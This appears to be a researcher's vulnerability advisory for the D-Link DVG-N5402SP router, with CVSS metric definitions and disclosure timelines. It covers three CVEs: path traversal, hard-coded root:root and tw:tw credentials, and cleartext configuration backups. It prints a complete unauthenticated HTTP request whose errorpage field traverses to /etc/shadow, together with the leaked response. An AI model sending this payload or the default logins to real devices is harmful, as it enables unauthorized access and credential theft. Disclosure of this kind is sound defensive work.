The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
D-Link DVG-N5402SP Path Traversal / Information Disclosure DLink DVGN5402SP File Path Traversal, Weak Credentials Management, and Sensitive Info Leakage Vulnerabilities
*Timelines*
Reported to CERT + Vendor: August 2015
Dlink released beta release: Oct 23, 2015
New fix release: MD5 (GRNV6.1U23J-83-DL-R1B114-SG_Normal.EN.img) =
04fd8b901e9f297a4cdbea803a9a43cb
No public disclosure till date - Dlink waiting for Service providers to ask
for new release + CERT opted out
*Vulnerable Models, Firmware, Hardware versions*
DVGN5402SP Web Management
Model Name : GPN2.4P21CCN
Firmware Version : W1000CN00
Firmware Version :W1000CN03
Firmware Version :W2000EN00
Hardware Platform :ZS
Hardware Version :Gpn2.4P21C_WIFIV0.05
Device can be managed through three users:
1. super full privileges
2. admin full privileges
3. support restricted user
*1. Path traversal*
Arbitrary files can be read off of the device file system. No
authentication is required to exploit this vulnerability.
*CVE-ID*: CVE-2015-7245
*HTTP Request *
POST /cgibin/webproc HTTP/1.1
Host: <IP>:8080
UserAgent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101
Firefox/39.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
AcceptLanguage: enUS,en;q=0.5
AcceptEncoding: gzip, deflate
Referer: http://<IP>:8080/cgibin/webproc
Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super
Connection: keepalive
ContentType: application/xwwwformurlencoded
ContentLength: 223
getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var%
&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh
*HTTP Response*
HTTP/1.0 200 OK
pstVal>name:getpage; pstVal>value:html/main.html
pstVal>name:getpage; pstVal>value:html/index.html
pstVal>name:errorpage;
pstVal>value:../../../../../../../../../../../etc/shadow
pstVal>name:var:menu; pstVal>value:setup
pstVal>name:var:page; pstVal>value:connected
pstVal>name:var:subpage; pstVal>value:
pstVal>name:objaction; pstVal>value:auth
pstVal>name::username; pstVal>value:super
pstVal>name::password; pstVal>value:super
pstVal>name::action; pstVal>value:login
pstVal>name::sessionid; pstVal>value:1ac5da6b
Connection: close
Contenttype: text/html
Pragma: nocache
CacheControl: nocache
setcookie: sessionid=1ac5da6b; expires=Fri, 31Dec9999 23:59:59 GMT;
path=/
#root:<hash_redacted>:13796:0:99999:7:::
root:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
*2. Use of Default, HardCoded Credentials**CVE-ID*: CVE-2015-7246
The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login tw is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.
*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247
Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in cleartext and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
--
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum